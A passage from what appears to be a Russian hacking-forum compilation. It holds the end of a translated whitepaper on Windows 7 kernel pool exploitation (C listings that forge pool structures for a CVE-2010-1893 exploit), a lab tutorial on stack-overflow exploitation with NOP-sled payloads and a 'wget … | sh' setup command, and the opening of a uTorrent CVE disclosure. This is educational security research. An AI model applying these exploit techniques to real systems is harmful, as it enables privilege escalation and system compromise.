Пример 2 демонстрирует, как перезапись PoolIndex может потенциально привести к записи управляемого пользователем адреса страницы (eax) на произвольный адрес назначения (esi). Чтобы выполнить произвольный код, злоумышленник может использовать этот метод для перезаписи редко используемого указателя функции ядра адресом страницы пользовательского режима и инициирования его выполнения из того же контекста процесса.
Атака перезаписи PoolIndex может быть применена к любому типу пула, если также
перезаписан PoolType блока (например, установив его в PagedPool). Поскольку
для этого требуется перезапись размера блока, злоумышленник должен либо знать
размер более собственного фрагмента или создайте поддельный граничный
фрагмент, встроенный в него. Это необходимо, так как FreedBlock->BlockSize =
NextBlock->PreviousSize должен удерживаться, что проверяется свободным
алгоритмом. Кроме того, размер блока должен быть больше 0x20, чтобы избежать
lookaside списков (которые игнорируют PoolIndex). Однако обратите внимание,
что фрагменты встроенного пула могут потенциально повредить важные поля или
указатели в данных фрагментов.
3.5. Перезапись указателя процесса квоты
Поскольку для процессов может взиматься плата за выделенную память пула, выделения пула должны предоставлять достаточную информацию для алгоритмов пула, чтобы вернуть начисленную квоту нужному процессу. По этой причине фрагменты пула могут дополнительно хранить указатель на связанный объект процесса. В x64 указатель объекта процесса хранится в последних восьми байтах заголовка пула, как описано в разделе 2.9, тогда как на x86 указатель добавляется к телу пула. Перезапись этого указателя (рис. 7) в уязвимости с повреждением пула может позволить злоумышленнику освободить используемый объект процесса или повредить произвольную память при возврате начисленной квоты.
Каждый раз, когда выделение пула освобождается, алгоритм освобождения проверяет тип пула на наличие бита квоты (0x8) перед фактическим возвратом памяти в соответствующий список свободных или резервных копий. Если бит установлен, он попытается вернуть начисленную квоту, вызвав nt!PspReturnQuota, а затем разыменует связанный объект процесса. Таким образом, перезапись указателя объекта процесса может позволить злоумышленнику уменьшить счетчик ссылок (указателя) произвольного объекта процесса. Несогласованность счетчика ссылок может впоследствии привести к UAF, если соблюдаются правильные условия (например, счетчик дескрипторов равен нулю, когда счетчик ссылок понижается до нуля).
Если указатель объекта процесса заменен указателем на память пользовательского режима, злоумышленник может создать поддельный объект EPROCESS для управления указателем на структуру EPROCESS QUOTA BLOCK (рисунок 8), в которой содержится информация о квотах. В свободном состоянии значение, указывающее квоту, используемую в этой структуре, обновляется путем вычитания размера выделения. Таким образом, злоумышленник может уменьшить значение произвольного адреса после возврата заполненной квоты. Злоумышленник может провести обе атаки на любое выделение пула, если установлены бит квоты и указатель объекта процесса квоты.
4. Пример: CVE-2010-1893
В этом разделе мы применяем метод перезаписи PoolIndex, описанный в разделе 3.4, для использования переполнения пула в модуле ядра Windows TCP/IP (CVE-2010-1893), описанном в MS10-058 [10]. Описанная атака действует исключительно на структуры управления пулом, следовательно, не полагается на данные, хранящиеся в любом из задействованных блоков пула.
4.1. Об уязвимости
Модуль ядра Windows TCP/IP, или tcpip.sys, реализует несколько функций для управления режимом сокета. Эти функции по большей части доступны из пользовательского режима путем вызова WSAIoctl и предоставления управляющего кода ввода-вывода для желаемой операции. При указании SIO ADDRESS LIST SORT ioctl, tcpip.sys IppSortDestinationAddresses() для сортировки списка адресов назначения IPv6 и IPv4 для определения наилучшего доступного адреса для установления соединения. Эта функция была признана уязвимой [17] к переполнению целых чисел в Windows 7/Windows 2008 R2 и Windows Vista/ Windows 2008, поскольку она не использовала последовательно безопасные целочисленные функции. Следовательно, указание большого количества адресов для списка адресов может привести к недостаточному распределению буфера, что приведет к переполнению пула в IppFlattenAddressList().
Уязвимость позволяет злоумышленнику повредить память соседнего пула, используя любую комбинацию байтов в записях размера SOCKADDR IN6 (0x1c байтов). Копирование в память останавливается в точке, где член семейства sin6 структуры больше не равен 0x17 (AF INET6). Однако, поскольку эта проверка выполняется после того, как было выполнено копирование, злоумышленнику не требуется устанавливать это поле при переполнении только одной записи адреса.
4.2. Подготовка памяти пула
Важным аспектом эксплуатации пула ядра является возможность постоянно
перезаписывать желаемую память. Поскольку фрагментированное состояние пула
ядра делает местоположение распределений непредсказуемым, злоумышленник должен
сначала дефрагментировать пул ядра, используя объекты ядра или другие
контролируемые распределения памяти. В этом отношении цель состоит в том,
чтобы выделить все свободные фрагменты таким образом, чтобы распределитель
пула возвращает новую страницу.
Заполнение вновь выделенных страниц выделениями одинакового размера и
освобождение каждой второй области позволяет злоумышленнику создавать дыры, в
которые может попасть уязвимый буфер. Это, в свою очередь, позволило бы
злоумышленнику переполнить объект или выделение памяти, используемое для
заполнения пула ядра.
В примере 3 пул ядра был заполнен объектами IoCompletionReserve (с помощью NtAllocateReserveObject [7]), для которых впоследствии было освобождено каждое второе выделение. Таким образом, когда в IppSortDestinationAddresses() выделяется адресный буфер сортировки, соответствующий размеру (три записи SOCKADDR IN6) освобожденных фрагментов, он попадет в одну из созданных дыр.
4.3. Использование перезаписи PoolIndex
Чтобы использовать атаку PoolIndex, злоумышленник должен перекрыть заголовок пула следующего фрагмента пула и установить для его PoolType значение PagedPool | InUse (3), а для его PoolIndex значение индекса за пределами диапазона (например 5 в большинстве однопроцессорных систем), как показано в Примере 4. Это приведет к обращению к дескриптору пула с нулевым указателем после освобождения поврежденного фрагмента пула.
В функции листинга 1 мы инициализируем необходимые значения дескриптора пула для проведения атаки. В этой функции PoolAddress указывает на управляемый пользователем фрагмент пула (например, выделенный на странице пользовательского режима), а WriteAddress устанавливает адрес, по которому записан указатель PoolAddress.
C:Copy to clipboard
VOID
InitPoolDescriptor( PPOOL_DESCRIPTOR PoolDescriptor ,
PPOOL_HEADER PoolAddress ,
PVOID WriteAddress )
{
ULONG i;
RtlZeroMemory(PoolDescriptor ,sizeof(POOL_DESCRIPTOR));
PoolDescriptor ->PoolType = PagedPool;
PoolDescriptor ->PagedLock.Count = 1;
// create pending frees list
PoolDescriptor ->PendingFreeDepth = 0x20;
PoolDescriptor ->PendingFrees = (VOID **)(PoolAddress +1);
// create ListHeads entries with target address
for (i=0; i<512; i++) {
PoolDescriptor ->ListHeads[i].Flink = (PCHAR)
WriteAddress - sizeof(PVOID);
PoolDescriptor ->ListHeads[i].Blink = (PCHAR)
WriteAddress - sizeof(PVOID);
}
}
Мы предполагаем, что будет использоваться список ожидающих освобождения, поскольку в большинстве систем ОЗУ 512 МБ или больше. Таким образом, адрес блока пула, управляемого пользователем, в конечном итоге будет записан по адресу, указанному WriteAddress в процессе связывания. Это может быть использовано для перезаписи указателя функции ядра, что упрощает эксплуатацию. Если список ожидающих освобождений не использовался, адрес освобожденного фрагмента пула ядра (адрес ядра) в конечном итоге был бы записан по указанному адресу, и в этом случае для выполнения произвольного кода потребовались бы другие средства, такие как частичная перезапись указателя.
Последней задачей перед запуском переполнения является инициализация памяти,
на которую указывает PoolAddress, чтобы фрагмент фальшивого пула (в ожидающем
списке освобождений) должным образом возвращался в созданные списки ListHeads
В функции листинга 2 мы создаем макет из двух граничащих блоков пула, для
которых PoolIndex снова ссылается на индекс вне границ в связанный массив
дескрипторов пула. Кроме того, BlockSize должен быть достаточно большим, чтобы
избежать использования дополнительных списков.
C:Copy to clipboard
#define BASE_POOL_TYPE_MASK 1
#define POOL_IN_USE_MASK 2
#define BLOCK_SHIFT 3 // 4 on x64
VOID
InitPoolChunks(PVOID PoolAddress , USHORT BlockSize)
{
POOL_HEADER * pool;
SLIST_ENTRY * entry;
// chunk to be freed
pool = (POOL_HEADER *) PoolAddress;
pool ->PreviousSize = 0;
pool ->PoolIndex = 5; // out -of-bounds pool index
pool ->BlockSize = BlockSize;
pool ->PoolType = POOL_IN_USE_MASK | (PagedPool &
BASE_POOL_TYPE_MASK);
// last chunk on the pending frees list
entry = (SLIST_ENTRY *) ((PCHAR)PoolAddress + sizeof(
POOL_HEADER)));
entry ->Next = NULL;
// bordering chunk (busy to avoid coalescing)
pool = (POOL_HEADER *) ((PCHAR)PoolAddress + (BlockSize
<< BLOCK_SHIFT));
pool ->PreviousSize = BlockSize;
pool ->PoolIndex = 0;
pool ->BlockSize = BlockSize;
pool ->PoolType = POOL_IN_USE_MASK | (PagedPool &
BASE_POOL_TYPE_MASK);
}
5. Укрепление пула ядра
Хотя введение safe unlinking является шагом в правильном направлении, предотвращению эксплуатации пула ядра еще предстоит пройти долгий путь с точки зрения соответствия устойчивости кучи пользовательского пространства. В этом разделе мы предлагаем способы противодействия атакам, обсуждаемым в разделе 3, а также предложения по дальнейшему улучшению пула ядра.
5.1. Перезапись ListEntry Flink
В пуле ядра было введено safe unlinking для предотвращения общего использования переполнения пула. Однако, как показано в Разделе 3.1, недостаточная проверка может позволить злоумышленнику повредить произвольную память при выделении записи из свободного списка (ListHeads). Как указывалось ранее, это вызвано тем, что safe unlinking выполняется не для фактического отключаемого фрагмента, а для структуры LIST ENTRY целевой записи массива ListHeads. Таким образом, простым исправлением будет правильная проверка прямой и обратной связи фрагмента, который не связывается.
Основная проблема при введении дополнительных мер по снижению рисков в уже оптимизированные алгоритмы управления пулом заключается в том, могут ли эти изменения существенно повлиять на производительность [3]. Наибольшую озабоченность вызывает не количество введенных дополнительных инструкций, а то, что изменение требует дополнительных операций подкачки страниц, которые очень дороги с точки зрения производительности. Рассмотрение атаки в разделе 3.1 может повлиять на производительность, поскольку адрес прямой ссылки несвязанного фрагмента не гарантированно будет выгружен в память, следовательно, может вызвать сбой страницы при safe unlinking.
5.2. Перезапись Lookaside Next Pointer
Поскольку lookaside списки по своей сути небезопасны, устранение их недостатков без внесения значительных изменений в пул ядра, несомненно, является сложной задачей. В куче Vista и Windows 7 lookaside списки были удалены в пользу кучи с низкой фрагментацией [9]. LFH избегает использования встроенных указателей и значительно снижает способность злоумышленника точно управлять кучей. Таким образом, аналогичный подход можно использовать в ядре. Однако удаление высокооптимизированных lookaside списков, вероятно, в некоторой степени повлияет на производительность.
В качестве альтернативы можно добавить проверки целостности фрагментов пула, чтобы предотвратить использование указателей lookaside списка. Поскольку все фрагменты пула должны зарезервировать пространство для структуры LIST ENTRY, а для lookaside указателей требуется только половина размера (SLIST ENTRY), фрагменты пула в ). списках могут хранить 4-байтовый (или 8 в x64) cookie перед указателем Next (рисунок 9). Этот файл cookie должен быть нетривиальным для определения в пользовательском режиме и может быть случайным значением (например, определенным структурой lookaside списка или блоком управления процессором), обработанным XOR с адресом фрагмента. Однако обратите внимание, что это не обязательно предотвратит эксплуатацию в ситуациях, когда злоумышленник может писать в выбранный набор настроек из выделенного фрагмента (уязвимости индексации массива).
5.3 Перезапись PendingFrees Next Pointer
Поскольку списки PendingFrees односвязны, очевидно, что у них те же проблемы, что и у вышеупомянутых дополнительных списков. Таким образом, списки PendingFrees также могут получить выгоду от встроенного cookie фрагмента пула, чтобы предотвратить использование переполенение пула. Хотя вместо этого можно было бы использовать двусвязный список, это потребовало бы дополнительной блокировки в ExFreePoolWithTag (при вставке записей в список), что было бы дорогостоящим в вычислительном отношении и нарушило бы цель отложенного свободного списка.
5.4 Перезапись PoolIndex
Поскольку PoolIndex используется в качестве индекса массива дескрипторов пула, правильным способом решения проблемы атаки является проверка его значения по общему количеству записей в массиве перед освобождением блока. В свою очередь, это помешает злоумышленнику ссылаться на индекс массива за пределами диапазона и контролировать дескриптор пула. Перезапись PoolIndex, как показано в разделе 4, также можно предотвратить, если пул ядра выполняет проверку граничных фрагментов перед подключением.
Обратите внимание, что этот метод был еще одним явным случаем злоупотребления нулевым указателем. Таким образом, отказ от сопоставления виртуального адреса null (0) в несистемных процессах может быть решением не только для борьбы с этой конкретной атакой, но и для многих других уязвимостей ядра, использующих нулевой указатель. В настоящее время нулевая страница в основном используется для обратной совместимости, например, виртуальной машиной Dos (VDM) для адресации 16-разрядной памяти в приложениях WOW. Следовательно, злоумышленник может обойти ограничение отображения нулевой страницы, внедрив его в процесс WOW.
5.5 Перезапись Quota Process Pointer
В Разделе 3.5 мы показали, как злоумышленник может использовать уязвимость, связанную с повреждением пула, для разыменования произвольного указателя объекта процесса. Это было особенно легко выполнить в системах x64, поскольку указатель хранился в заголовке пула, а не в конце фрагмента пула, как в случае с системами x86. Чтобы предотвратить эксплуатацию, связанную с использованием этого указателя, можно использовать простое кодирование (с использованием константы, неизвестной злоумышленнику), чтобы скрыть его фактическое значение. Однако очевидная проблема с этим подходом состоит в том, что повреждение пула может быть значительно труднее отлаживать, поскольку неправильно декодированные указатели, скорее всего, будут ссылаться на данные, не связанные с аварийным отказом. Тем не менее, есть определенные проверки, которые могут быть выполнены для проверки декодированного указателя, например, обеспечение его правильного выравнивания и в пределах ожидаемых границ.
6. Заключение
В этой статье мы показали, что, несмотря на safe unlinking, пул ядра Windows 7 по-прежнему уязвим для общих атак. Тем не менее, большинство идентифицированных векторов атак можно устранить путем добавления простых проверок или использования функций предотвращения эксплойтов из кучи пользовательского пространства. Таким образом, в будущих выпусках Windows и пакетах обновления мы, вероятно, увидим дополнительную защиту пула ядра. В частности, пул ядра получит большую выгоду от контрольной суммы заголовка пула или cookie, чтобы предотвратить использование, включающее повреждение заголовка пула или создание вредоносного пула.
Ссылки
[1] Alexander Anisimov: Defeating Microsoft Windows XP SP2 Heap Protection and DEP Bypass. <http://www.ptsecurity.com/download/defeating-xpsp2-heap- protection.pdf>
[2] Adam Barth, Collin Jackson, Charles Reis: The Security Architecture of the Chromium Browser. <http://crypto.stanford.edu/websec/chromium/chromium- security-architecture.pdf>
[3] Pete Beck: Safe Unlinking in the Kernel Pool. Microsoft Security Research and Defense. <http://blogs.technet.com/srd/archive/2009/05/26/safe- unlinking-in-the-kernel-pool.aspx>
[4] Dion Blazakis: Interpreter Exploitation: Pointer Inference and JIT Spraying. Black Hat DC 2010. http://www.semantiscope.com/research/BHDC2010
[5] Matt Conover & Oded Horovitz: Windows Heap Exploitation. CanSecWest 2004.
[6] Matthew Jurczyk: Windows Objects in Kernel Vulnerability Exploitation. Hack-in-the-Box Magazine 002. <http://www.hackinthebox.org/misc/HITB-Ezine- Issue-002.pdf>
[7] Matthew Jurczyk: Reserve Objects in Windows 7. Hack-in-the-Box Magazine 003.http://www.hackinthebox.org/misc/HITB-Ezine-Issue-003.pdf
[8] Kostya Kortchinsky: Real World Kernel Pool Exploitation. SyScan 2008. http://www.immunitysec.com/downloads/KernelPool.odp
[9] Adrian Marinescu: Windows Vista Heap Management Enhancements. Black Hat USA 2006. <http://www.blackhat.com/presentations/bh-usa-06/BH- US-06-Marinescu.pdf>
[10] Microsoft Security Bulletin MS10-058: Vulnerabilities in TCP/IP Could Allow Elevation of Privilege. http://www.microsoft.com/technet/security/Bulletin/MS10-058.mspx
[11] mxatone: Analyzing Local Privilege Escalation in win32k. Uninformed Journal, vol. 10, article 2. http://www.uninformed.org/?v=10&a=2
[12] Office Team: Protected View in Office 2010. Microsoft Office 2010 Engineering. <http://blogs.technet.com/b/office2010/archive/2009/08/13/protected-view-in- office-2010.aspx>
[13] Kyle Randolph: Inside Adobe Reader Protected Mode - Part 1 - Design. Adobe Secure Software Engineering Team (ASSET) Blog. <http://blogs.adobe.com/asset/2010/10/inside-adobe-reader-protected-mode- part-1-design.html>
[14] Ruben Santamarta: Exploiting Common Flaws in Drivers. http://reversemode.com/index.php?option=com_remository&Itemid=2&func=fileinfo&id=51
[15] Hovav Shacham: The Geometry of Innocent Flesh on the Bone: Return- into-libc without Function Calls (on the x86). In Proceedings of CCS 2007, pages 552561.ACM Press, Oct. 2007.
[16] SoBeIt: How To Exploit Windows Kernel Memory Pool. Xcon 2005. http://packetstormsecurity.nl/Xcon2005/Xcon2005_SoBeIt.pdf
[17] Matthieu Suiche: Microsoft Security Bulletin (August). http://moonsols.com/blog/14-august-security-bulletinClick to expand...
Источник: [BlackHat.com](https://media.blackhat.com/bh-
dc-11/Mandt/BlackHat_DC_2011_Mandt_kernelpool-wp.pdf)
Автор перевода: yashechka
Переведено специально для
https://xss.is
В новых Windows появляются новые механизмы защиты от эксплойтов. Пример:
В Windows 8 было добавлено ряд нововведений, касающихся защиты от эксплоитов, включая защиту пользовательской кучи (userland heap) и кучи ядра (kernel heap), защиту от использования разыменований нулевого указателя в режиме ядра (kernel-mode) и защиту от неправильной эксплуатации таблиц указателей на виртуальные функции.
Click to expand...
Что изменилось в Win 8/10 отнасительно более старых редакций? Можно немного ссылок по теме?
Доброго времени суток!
Хочу рассказать о переполнение стека без защиты программы. В данной статье мы не будем обходить какие-либо защиты, так как их не будет.
План:
Подготовка Лаборатории
Создадим виртуальную машину linux на архитектуре x86 ( 32 битная ). Установим отладчик gdb и расширение gef для более удобной работы.
Code:Copy to clipboard
sudo apt install gdb
sh -c "$(wget http://gef.blah.cat/sh -O -)"
На первых этапах нам нужно будет отключить
ASLR. Это рандомизация размещения
адресного пространства. Команда для отключения: echo 0 > /proc/sys/kernel/randomize_va_space
После этого нужно будет выйти из системы командой logout
.
Программа для изучения
C:Copy to clipboard
#include <string.h>
void copy(char *data) {
char buffer[32];
strcpy(buffer, data);
}
void main(int argc, char *argv[]) {
copy(argv[1]);
}
Компилируем:
Code:Copy to clipboard
gcc copy_buffer.c -o copy_buffer -g -fno-stack-protector -fno-builtin -z execstack
# -o - имя выходного файла
# -g - включить отладочные символы
# -fno-stack-protector - Отключает защиту компилятора от атак типа Stack Smashing.
# -fno-builtin - В программе не распознаются встроенные функции кроме тех, имена которых начинаются с двух подчеркиваний
# -z execstack - Означает, что инструкции, расположенные в стеке, могут быть выполнены.
Наша программа копирует данные, вводимые пользователем в массив. Его размер 32
байта. Запускаем программу: ./copy_buffer TEST
Передадим строку больше 32 символов. И посмотрим на реакцию программы. Python
поможет нам в генерации строки состоящей из nop инструкций ( 90h ) длиной 40
символов. Команда: ./copy_buffer $(python -c 'print "\x90" * 40')
Программа упала и выдала ошибку "Segmentation fault".
Ассемблер и отладчик
Запускаем эту программу в отладчике gdb gdb -q copy_buffer
( -q значит не
выводить слишком подробную информацию ). Перезапустим программу, но
переполнять буфер в данный момент не будем. Используем команду r $(python -c 'print "\x90" * 32')
. Дизассемблируем функцию copy
командой disas copy
Функция copy
C-like:Copy to clipboard
0x00401199 <+0>: push ebp
0x0040119a <+1>: mov ebp,esp
0x0040119c <+3>: push ebx
0x0040119d <+4>: sub esp,0x24
0x004011a0 <+7>: call 0x4011fe <__x86.get_pc_thunk.ax>
0x004011a5 <+12>: add eax,0x2e5b
0x004011aa <+17>: sub esp,0x8
0x004011ad <+20>: push DWORD PTR [ebp+0x8] ; передача аргументов через инструкцию push
0x004011b0 <+23>: lea edx,[ebp-0x28]
0x004011b3 <+26>: push edx ; передача аргументов через инструкцию push
0x004011b4 <+27>: mov ebx,eax
0x004011b6 <+29>: call 0x401030 <strcpy@plt>
0x004011bb <+34>: add esp,0x10
0x004011be <+37>: nop
0x004011bf <+38>: mov ebx,DWORD PTR [ebp-0x4]
0x004011c2 <+41>: leave
0x004011c3 <+42>: ret
Нас интересует функция strcpy
. Ставим точку останова на этой функции b *0x004011b6
и нажимаем r $(python -c 'print "\x90" * 32')
. Посмотрим на
вершину стека перед вызовом и после. Регистр ESP нам в помощь. Выведем 24
значение word из стека x/24xw $esp
Вершина стека
C-like:Copy to clipboard
0xbffff150: 0xbffff160 0xbffff439 0xb7fb4000 0x004011a5
0xbffff160: 0x00000000 0x00200000 0xb7e0bcb9 0xb7fb7588
0xbffff170: 0xb7fb4000 0xb7fb4000 0x00000000 0xb7e0bdfb
0xbffff180: 0xb7fb43fc 0x00000000 0xbffff1a8 0x004011f2
0xbffff190: 0xbffff439 0xbffff254 0xbffff260 0x004011da
0xbffff1a0: 0xb7fe6520 0xbffff1c0 0x00000000 0xb7df4b41
Выполним функцию strcpy
. Команда ni
для перехода к следующей инструкции
без входа в функцию. Посмотрим на значения в стеке теперь.
Вершина стека
C-like:Copy to clipboard
0xbffff150: 0xbffff160 0xbffff439 0xb7fb4000 0x004011a5
0xbffff160: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff170: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff180: 0xb7fb4300 0x00000000 0xbffff1a8 0x004011f2
0xbffff190: 0xbffff439 0xbffff254 0xbffff260 0x004011da
0xbffff1a0: 0xb7fe6520 0xbffff1c0 0x00000000 0xb7df4b41
Строки 0x90909090
это наши nop
инструкции. Строки 0xb7fb4300 0x00000000 0xbffff1a8
не очень важны для нас. А вот значение 0x004011da
важно. Это
адрес возврата, который будет использоваться в инструкции retn
.
Проверить это можно так: дизассемблируем инструкцию main: disas main
. Адрес
0x004011f2
идёт после инструкции copy. Адрес возврата из функции copy
.
Функция main
C-like:Copy to clipboard
0x004011c4 <+0>: lea ecx,[esp+0x4]
0x004011c8 <+4>: and esp,0xfffffff0
0x004011cb <+7>: push DWORD PTR [ecx-0x4]
0x004011ce <+10>: push ebp
0x004011cf <+11>: mov ebp,esp
0x004011d1 <+13>: push ecx
0x004011d2 <+14>: sub esp,0x4
0x004011d5 <+17>: call 0x4011fe <__x86.get_pc_thunk.ax>
0x004011da <+22>: add eax,0x2e26
0x004011df <+27>: mov eax,ecx
0x004011e1 <+29>: mov eax,DWORD PTR [eax+0x4]
0x004011e4 <+32>: add eax,0x4
0x004011e7 <+35>: mov eax,DWORD PTR [eax]
0x004011e9 <+37>: sub esp,0xc
0x004011ec <+40>: push eax
0x004011ed <+41>: call 0x401199 <copy>
0x004011f2 <+46>: add esp,0x10
0x004011f5 <+49>: nop
0x004011f6 <+50>: mov ecx,DWORD PTR [ebp-0x4]
0x004011f9 <+53>: leave
0x004011fa <+54>: lea esp,[ecx-0x4]
0x004011fd <+57>: ret
Эксплуатация
Представьте себе, что мы можем перезаписать адрес возврата. При переполнении
буфера наши инструкции nop
"перетирают" адрес возврата и программе некуда
вернуться из функции copy
. Вот почему возникает ошибка "Segmentation fault".
Проверим это: перезапустим программу со строкой длиной в 48 символов r $(python -c 'print "\x90" * 48')
и посмотрим стек после функции strcpy
.
Команда: x/24xw $esp
. Адреса 0x004011f2
нет в стеке.
Стек
C-like:Copy to clipboard
0xbffff140: 0xbffff150 0xbffff429 0xb7fb4000 0x004011a5
0xbffff150: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff160: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff170: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff180: 0xbffff400 0xbffff244 0xbffff250 0x004011da
0xbffff190: 0xb7fe6520 0xbffff1b0 0x00000000 0xb7df4b41
Теперь перезапишем значение адреса возврата. Размер буфера = 32 байтам. Строки
0xb7fb4300 0x00000000 0xbffff1a8
занимают 12 байтов ( 4 * 3 ). Далее идёт
адрес возврата. 32 + 12 = 44 байта, которые мы заполним nop инструкциями,
далее напишем адрес возврата. Учитывайте порядок байтов в
программе.
В нашей программе это little-endian. Например: адрес 0xbffff190
будет
записан так 90f1ffbf
в python мы запишем вот так: \x90\xf1\xff\xbf
.
Мы используем инструкции nop ( 0x90 ), чтобы протестировать работы инструкций
в стеке. Наша команда для перезапуска: r $(python -c 'print "\x90" * 44 + "\x90\xf1\xff\xbf" + "\x90" * 10 ')
. Смотрим стек, после инструкции strcpy
командой x/24xw $esp
.
C-like:Copy to clipboard
0xbffff130: 0xbffff140 0xbffff41f 0xb7fb4000 0x004011a5
0xbffff140: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff150: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff160: 0x90909090 0x90909090 0x90909090 0xbffff190
0xbffff170: 0x90909090 0x90909090 0xbf009090 0x004011da
0xbffff180: 0xb7fe6520 0xbffff1a0 0x00000000 0xb7df4b41
Мы не угадали адрес возврата. Адрес возврата, который мы написали
0xbffff190
, а нужный нам адрес 0xbffff170
или 0xbffff140
либо другие
адреса, где находятся nop
инструкции. Корректируем: r $(python -c 'print "\x90" * 44 + "\x70\xf1\xff\xbf" + "\x90" * 10 ')
.
Стек
C-like:Copy to clipboard
0xbffff130: 0xbffff140 0xbffff41f 0xb7fb4000 0x004011a5
0xbffff140: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff150: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff160: 0x90909090 0x90909090 0x90909090 0xbffff170
0xbffff170: 0x90909090 0x90909090 0xbf009090 0x004011da
0xbffff180: 0xb7fe6520 0xbffff1a0 0x00000000 0xb7df4b41
Дойдём до инструкции retn по адресу 0x004011c3
.
Функция main
C-like:Copy to clipboard
0x00401199 <+0>: push ebp
0x0040119a <+1>: mov ebp,esp
0x0040119c <+3>: push ebx
0x0040119d <+4>: sub esp,0x24
0x004011a0 <+7>: call 0x4011fe <__x86.get_pc_thunk.ax>
0x004011a5 <+12>: add eax,0x2e5b
0x004011aa <+17>: sub esp,0x8
0x004011ad <+20>: push DWORD PTR [ebp+0x8] ; передача аргументов через инструкцию push
0x004011b0 <+23>: lea edx,[ebp-0x28]
0x004011b3 <+26>: push edx ; передача аргументов через инструкцию push
0x004011b4 <+27>: mov ebx,eax
0x004011b6 <+29>: call 0x401030 <strcpy@plt>
0x004011bb <+34>: add esp,0x10
0x004011be <+37>: nop
0x004011bf <+38>: mov ebx,DWORD PTR [ebp-0x4]
0x004011c2 <+41>: leave
0x004011c3 <+42>: ret
Когда программа выполнила возврата, мы посмотрим какие идут следующие
инструкции ( регистр EIP поможет нам ): x/5i $eip
C-like:Copy to clipboard
=> 0xbffff170: nop
0xbffff171: nop
0xbffff172: nop
0xbffff173: nop
0xbffff174: nop
Это наши nop инструкции. Здесь может быть ваш шелл-код.
Небольшой лайфхак
Главное указать правильный адрес возврата для шелл-кода. Сам шеллкод может
быть после адреса возврата, но тогда стек-фрейм может быть повреждён.
Шелл-код можно разместить до адреса возврата, не зная адрес возврата!
"Волшебные" nop инструкции нам помогут здесь. 99 % nop инструкций и 1% шел-
кода
Вставляем сначала nop инструкции, а затем шелл-код. Для примера шелл-кодом
будет буква A ( 0x41 ). `r $(python -c 'print "\x90" * 32 + "\x41\x41\x41\x41"
Стек
C-like:Copy to clipboard
0xbffff180: 0xbffff190 0xbffff46a 0xb7fb4000 0x004011a5
0xbffff190: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff1a0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff1b0: 0x41414141 0x41414141 0x41414141 0xbffff190
0xbffff1c0: 0xbffff400 0xbffff284 0xbffff290 0x004011da
0xbffff1d0: 0xb7fe6520 0xbffff1f0 0x00000000 0xb7df4b4
Дойдём до инструкции retn, выполним её и посмотрим на регистр eip командой
x/35i $eip
. По адресу 0xbffff1b0
наш фальшивый шелл-код.
C-like:Copy to clipboard
=> 0xbffff190: nop
0xbffff191: nop
0xbffff192: nop
0xbffff193: nop
0xbffff194: nop
0xbffff195: nop
0xbffff196: nop
0xbffff197: nop
0xbffff198: nop
0xbffff199: nop
0xbffff19a: nop
0xbffff19b: nop
0xbffff19c: nop
0xbffff19d: nop
0xbffff19e: nop
0xbffff19f: nop
0xbffff1a0: nop
0xbffff1a1: nop
0xbffff1a2: nop
0xbffff1a3: nop
0xbffff1a4: nop
0xbffff1a5: nop
0xbffff1a6: nop
0xbffff1a7: nop
0xbffff1a8: nop
0xbffff1a9: nop
0xbffff1aa: nop
0xbffff1ab: nop
0xbffff1ac: nop
0xbffff1ad: nop
0xbffff1ae: nop
0xbffff1af: nop
0xbffff1b0: inc ecx ; Наш фальшивый шелл-код
0xbffff1b1: inc ecx
0xbffff1b2: inc ecx
0xbffff1b3: inc ecx
0xbffff1b4: inc ecx
0xbffff1b5: inc ecx
0xbffff1b6: inc ecx
0xbffff1b7: inc ecx
0xbffff1b8: inc ecx
0xbffff1b9: inc ecx
0xbffff1ba: inc ecx
0xbffff1bb: inc ecx
0xbffff1bc: nop
Напомню, что наша программа голая и без защиты типа ASLR или Stack Canary.
Спасибо за внимание. Удачи вам.
Автор @Shodus
источник: protey.net
На практике возникают проблемы, которые невозможно воспроизвести и исследовать на стороне разработчика. В таких ситуациях порой бывает невозможно даже организовать удаленный доступ к машине. Во время доклада будут рассмотрены и даны советы по отладке типовых задач таких как аварийное завершение, утечка ресурсов и ошибки синхронизации в многопоточных приложениях. Мы будем использовать отладчик Windbg. Доклад будет интересен в первую очередь начинающим разработчикам, работающим с платформой Windows.
![www.slideshare.net](/proxy.php?image=https%3A%2F%2Fcdn.slidesharecdn.com%2Fss_thumbnails%2Fwhen- it-doesnt-get- reproducedcorehard2019light-191210125827-thumbnail.jpg%3Fwidth%3D640%26height%3D640%26fit%3Dbounds&hash=2e5129162d38c7a6d806064d1672e2ae&return_error=1)
Autumn 2019 ](https://www.slideshare.net/corehard_by/windbg-corehard- autumn-2019)
Windbg: когда у нас не воспроизводится. Александр Головач ➠ CoreHard Autumn 2019 - Download as a PDF or view online for free
www.slideshare.net
Самый популярный в мире торрент-клиент uTorrent содержал уязвимость, позже получившую название CVE-2020-8437, которая могла быть использована злоумышленниками для создания сбоев в работе программы на устройствах, имеющих доступ к интернету. Будучи белыми хакерами, вместе со своим другом (пожелавшим остаться анонимным), мы сообщили о ней, вскоре, после того, как она была обнаружена, и патч с исправлениями не заставил себя долго ждать. Спустя некоторое время, после того, как большинство пользователей обновили версию своего клиента, настало время раскрыть подробности CVE-2020-8437, вместе со способами ее использования.
При загрузке файлов по протоколу BitTorrent, клиенты используют одновременные подключения к нескольким одноранговым узлам, создавая децентрализованную сеть загрузки. Каждый одноранговый узел может делиться и скачивать данные с любого другого узла, участвующего в обмене, устраняя единственную точку отказа и обеспечивая надежное соединение. Такой подход создает благоприятные условия для более быстрой и стабильной загрузки со всех одноранговых узлов.
Одноранговые узлы, как уже упоминалось ранее, общаются друг с другом с помощью протокола BitTorrent, который инициируется посредством рукопожатия (handshake). Давайте сосредоточимся на нем и пакете, который следует сразу за ним, потому что это все, что нужно для эксплуатации уязвимости CVE-2020-8437 uTorrent. На удивление, все просто. ?
BitTorrent Handshake - это первый пакет, который инициирующий одноранговый узел отправляет другому одноранговому узлу. В нем 5 полей в строго структурированном формате.
